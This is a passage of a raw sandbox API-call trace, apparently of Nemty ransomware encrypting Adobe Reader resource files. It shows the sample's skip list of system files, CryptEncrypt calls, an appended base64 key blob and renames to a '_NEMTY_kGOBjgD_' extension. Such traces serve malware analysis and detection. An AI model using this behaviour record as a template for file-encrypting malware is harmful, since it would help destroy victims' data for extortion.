nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cdc [0214.950] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.950] CloseHandle (hObject=0x2e8) returned 1 [0214.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca.txt._nemty_kgobjgd_")) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.951] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ca_ES.txt", cAlternateFileName="DI0E62~1.TXT")) returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2=".") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="..") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="...") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="windows") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="rsa") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="NTDETECT.COM") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="ntldr") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="MSDOS.SYS") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="IO.SYS") returned -1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="boot.ini") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="boot.ini") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.951] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="ntuser.dat") returned -1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="desktop.ini") returned 1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="CONFIG.SYS") returned 1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="RECYCLER") returned -1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="bootmgr") returned 1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="programdata") returned -1 [0214.952] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES.txt", lpString2="appdata") returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.952] Sleep (dwMilliseconds=0x5) [0214.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c466d0, dwHighDateTime=0x1d561e8)) [0214.966] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33c466d0, dwHighDateTime=0x1d561e8)) [0214.966] GetLastError () returned 0x0 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.966] GetLastError () returned 0x0 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.966] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.966] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="jdgo+P96qpRhpzaC0eFKvEz4e2dAXXJ5Z7X6w9JGhOHOQH+om73hwkqv7JKmzRoK\r\nsmJgeUduwvrDuWW+FjOIpgBAtJyXzaWFTlEkzKBZvgApLlmtuMRLvBKrtdk4mhWC\r\nYRtooAOEjXgHtgchW4ZMsA975IZoOnoO869KD+ZHA4YpoJ2uG5SEGQKLqdeF5Emt\r\n+qY8GH/zsWREhQSJBifpLrJUBb6RdbL2FC1NTmToD8hixG8s6WLpHLO91Q1wWg4H\r\nuSuUjieIU4+8isRuiMS/P0wDOXL87jlZAuOulyJsEal6lSAXI13SeOkaFazNNryq\r\nswZyXkH6DdYS2Zp93EakeA==\r\n", pcchString=0x653e5dc) returned 1 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.966] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.968] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27868) returned 1 [0214.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6cd0) returned 0x6352c48 [0214.968] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.968] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6cd0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.971] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.971] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6cd0, lpOverlapped=0x0) returned 1 [0214.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.971] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27868, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6cdc [0214.971] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.971] CloseHandle (hObject=0x2e8) returned 1 [0214.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.972] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.972] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt._nemty_kgobjgd_")) returned 1 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.973] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ca_ES_PREEURO.txt", cAlternateFileName="DIFFE0~1.TXT")) returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2=".") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="..") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="...") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="windows") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="rsa") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="ntldr") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="IO.SYS") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="boot.ini") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="boot.ini") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="desktop.ini") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="RECYCLER") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="bootmgr") returned 1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="programdata") returned -1 [0214.973] lstrcmpiW (lpString1="DisplayLanguageNames.ca_ES_PREEURO.txt", lpString2="appdata") returned 1 [0214.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0214.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0214.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0214.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0214.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0214.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0214.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ca_ES_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ca_ES_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0214.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 